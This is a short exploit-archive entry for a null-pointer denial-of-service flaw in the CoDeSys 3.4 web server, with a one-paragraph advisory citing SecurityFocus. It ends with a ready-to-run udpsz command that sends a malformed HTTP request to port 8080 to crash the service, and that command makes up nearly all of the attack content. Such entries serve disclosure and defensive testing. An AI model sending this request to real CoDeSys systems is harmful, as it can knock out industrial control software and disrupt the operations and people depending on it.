CoDeSys 3.4 - Null Pointer Invalid HTTP Request Parsing Remote Denial of Service

source: https://www.securityfocus.com/bid/50854/info
 
CoDeSys is prone to multiple denial-of-service vulnerabilities.
 
An attacker can exploit these issues to crash the application and deny service to legitimate users. 

udpsz -T -c "BLAH / HTTP/1.0\r\n\r\n" SERVER 8080 -1